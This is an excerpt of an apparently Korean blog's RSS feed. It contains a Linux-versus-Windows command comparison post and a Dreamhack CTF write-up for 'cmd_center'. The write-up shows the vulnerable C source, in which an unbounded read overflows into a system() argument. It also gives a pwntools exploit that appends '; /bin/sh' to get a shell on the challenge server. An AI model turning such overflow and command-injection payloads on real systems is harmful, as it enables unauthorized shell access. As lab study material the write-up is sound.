      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/150</guid>
      <comments>https://taemin01.tistory.com/150#entry150comment</comments>
      <pubDate>Wed, 15 Apr 2026 01:45:23 +0900</pubDate>
    </item>
    <item>
      <title>리눅스 vs 윈도우 명령어 비교</title>
      <link>https://taemin01.tistory.com/149</link>
      <description>&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;파일 및 디렉토리 제어&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;621&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6Jv2C/dJMcaiJG1Ea/KOhCeg6OioCIiq7JqVEXD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6Jv2C/dJMcaiJG1Ea/KOhCeg6OioCIiq7JqVEXD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6Jv2C/dJMcaiJG1Ea/KOhCeg6OioCIiq7JqVEXD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6Jv2C%2FdJMcaiJG1Ea%2FKOhCeg6OioCIiq7JqVEXD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;621&quot; height=&quot;398&quot; data-origin-width=&quot;621&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;네트워크 분석&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;608&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/banUKf/dJMcaf7irmM/1yXsAivrfDyNIf5tk2nLkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/banUKf/dJMcaf7irmM/1yXsAivrfDyNIf5tk2nLkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/banUKf/dJMcaf7irmM/1yXsAivrfDyNIf5tk2nLkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbanUKf%2FdJMcaf7irmM%2F1yXsAivrfDyNIf5tk2nLkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;246&quot; data-origin-width=&quot;608&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;시스템 및 프로세스 관리&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;660&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFeXmd/dJMcaffdpd0/e2uGd6lJKULbZvJwJxmECk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFeXmd/dJMcaffdpd0/e2uGd6lJKULbZvJwJxmECk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFeXmd/dJMcaffdpd0/e2uGd6lJKULbZvJwJxmECk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFeXmd%2FdJMcaffdpd0%2Fe2uGd6lJKULbZvJwJxmECk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;660&quot; height=&quot;261&quot; data-origin-width=&quot;660&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;텍스트 처리 및 검색&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;221&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/44vaz/dJMcaflWYes/dpj7LXYBEkGzp1Bql8sZJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/44vaz/dJMcaflWYes/dpj7LXYBEkGzp1Bql8sZJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/44vaz/dJMcaflWYes/dpj7LXYBEkGzp1Bql8sZJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F44vaz%2FdJMcaflWYes%2Fdpj7LXYBEkGzp1Bql8sZJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;221&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;221&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;권한 및 보안 관리&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diACL6/dJMcaaEXGtu/jbugAmFZ48sznT8TPVWuKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diACL6/dJMcaaEXGtu/jbugAmFZ48sznT8TPVWuKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diACL6/dJMcaaEXGtu/jbugAmFZ48sznT8TPVWuKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiACL6%2FdJMcaaEXGtu%2FjbugAmFZ48sznT8TPVWuKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;307&quot; height=&quot;167&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;리눅스 연산자 활용&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;257&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zZTP5/dJMcagLWmfJ/IEFvcmVJwKS8reAhQQZgv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zZTP5/dJMcagLWmfJ/IEFvcmVJwKS8reAhQQZgv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zZTP5/dJMcagLWmfJ/IEFvcmVJwKS8reAhQQZgv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzZTP5%2FdJMcagLWmfJ%2FIEFvcmVJwKS8reAhQQZgv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;257&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>OS/개념</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/149</guid>
      <comments>https://taemin01.tistory.com/149#entry149comment</comments>
      <pubDate>Tue, 14 Apr 2026 17:07:12 +0900</pubDate>
    </item>
    <item>
      <title>cmd_center</title>
      <link>https://taemin01.tistory.com/148</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bonwg2/dJMcacCLDiR/Uq8DygvVemMm7KuU7WSEFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bonwg2/dJMcacCLDiR/Uq8DygvVemMm7KuU7WSEFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bonwg2/dJMcacCLDiR/Uq8DygvVemMm7KuU7WSEFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbonwg2%2FdJMcacCLDiR%2FUq8DygvVemMm7KuU7WSEFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;213&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1776152187787&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int main()
{

	char cmd_ip[256] = &quot;ifconfig&quot;;
	int dummy;
	char center_name[24];

	init();

	printf(&quot;Center name: &quot;);
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, &quot;ifconfig&quot;, 8)) {
		system(cmd_ip);
	}

	else {
		printf(&quot;Something is wrong!\n&quot;);
	}
	exit(0);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZRYuQ/dJMcahRzXUC/N4s4d800vX82FE07p2jHxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZRYuQ/dJMcahRzXUC/N4s4d800vX82FE07p2jHxK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZRYuQ/dJMcahRzXUC/N4s4d800vX82FE07p2jHxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZRYuQ%2FdJMcahRzXUC%2FN4s4d800vX82FE07p2jHxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;745&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;745&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;환경분석&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;277&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TH0FX/dJMcaf7ip1N/x1pFa93YM0F7fmVgG7TYP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TH0FX/dJMcaf7ip1N/x1pFa93YM0F7fmVgG7TYP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TH0FX/dJMcaf7ip1N/x1pFa93YM0F7fmVgG7TYP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTH0FX%2FdJMcaf7ip1N%2Fx1pFa93YM0F7fmVgG7TYP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;277&quot; data-origin-width=&quot;601&quot; data-origin-height=&quot;277&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;취약점&amp;nbsp;&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;115&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAtpZc/dJMcaaZd4bY/NtYy09VuDaApdfMTnGkoQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAtpZc/dJMcaaZd4bY/NtYy09VuDaApdfMTnGkoQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAtpZc/dJMcaaZd4bY/NtYy09VuDaApdfMTnGkoQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAtpZc%2FdJMcaaZd4bY%2FNtYy09VuDaApdfMTnGkoQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;606&quot; height=&quot;115&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;115&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;공격 설계&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bktKtr/dJMcaf7ip4c/fIK51IW5b4t1NtYLmk2ozk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bktKtr/dJMcaf7ip4c/fIK51IW5b4t1NtYLmk2ozk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bktKtr/dJMcaf7ip4c/fIK51IW5b4t1NtYLmk2ozk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbktKtr%2FdJMcaf7ip4c%2FfIK51IW5b4t1NtYLmk2ozk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;332&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;익스플로잇 코드&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;pre id=&quot;code_1776152457123&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

# 32바이트(더미) + &quot;ifconfig; /bin/sh&quot;
payload = b&quot;A&quot; * 32 + b&quot;ifconfig; /bin/sh&quot;

# 프로그램 실행 후 페이로드 전송
p = process(&quot;./cmd_center&quot;)
p=remote('host3.dreamhack.games',18937)
p.sendlineafter(b&quot;Center name: &quot;, payload)
p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://taemin01.tistory.com/149&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://taemin01.tistory.com/149&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1776154064437&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;리눅스 vs 윈도우 명령어 비교&quot; data-og-description=&quot;파일 및 디렉토리 제어 네트워크 분석 시스템 및 프로세스 관리 텍스트 처리 및 검색 권한 및 보안 관리 리눅스 연산자 활용&quot; data-og-host=&quot;taemin01.tistory.com&quot; data-og-source-url=&quot;https://taemin01.tistory.com/149&quot; data-og-url=&quot;https://taemin01.tistory.com/149&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dNpcqp/dJMb8WMqYnC/wyiBzF6tyLP2FNTOikhAw0/img.png?width=621&amp;amp;height=398&amp;amp;face=0_0_621_398,https://scrap.kakaocdn.net/dn/KwHy4/dJMb8ZvCP6M/s1xLKkC3LQOoXy8mFpbBM1/img.png?width=621&amp;amp;height=398&amp;amp;face=0_0_621_398,https://scrap.kakaocdn.net/dn/Mulmg/dJMb8Z3sFWi/LguvIwTmEDQZzYX6fzGVDK/img.png?width=621&amp;amp;height=398&amp;amp;face=0_0_621_398&quot;&gt;&lt;a href=&quot;https://taemin01.tistory.com/149&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://taemin01.tistory.com/149&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dNpcqp/dJMb8WMqYnC/wyiBzF6tyLP2FNTOikhAw0/img.png?width=621&amp;amp;height=398&amp;amp;face=0_0_621_398,https://scrap.kakaocdn.net/dn/KwHy4/dJMb8ZvCP6M/s1xLKkC3LQOoXy8mFpbBM1/img.png?width=621&amp;amp;height=398&amp;amp;face=0_0_621_398,https://scrap.kakaocdn.net/dn/Mulmg/dJMb8Z3sFWi/LguvIwTmEDQZzYX6fzGVDK/img.png?width=621&amp;amp;height=398&amp;amp;face=0_0_621_398');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;리눅스 vs 윈도우 명령어 비교&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;파일 및 디렉토리 제어 네트워크 분석 시스템 및 프로세스 관리 텍스트 처리 및 검색 권한 및 보안 관리 리눅스 연산자 활용&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;taemin01.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>dreamhack/Level1</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/148</guid>
      <comments>https://taemin01.tistory.com/148#entry148comment</comments>
      <pubDate>Tue, 14 Apr 2026 16:41:09 +0900</pubDate>
    </item>
  </channel>
</rss>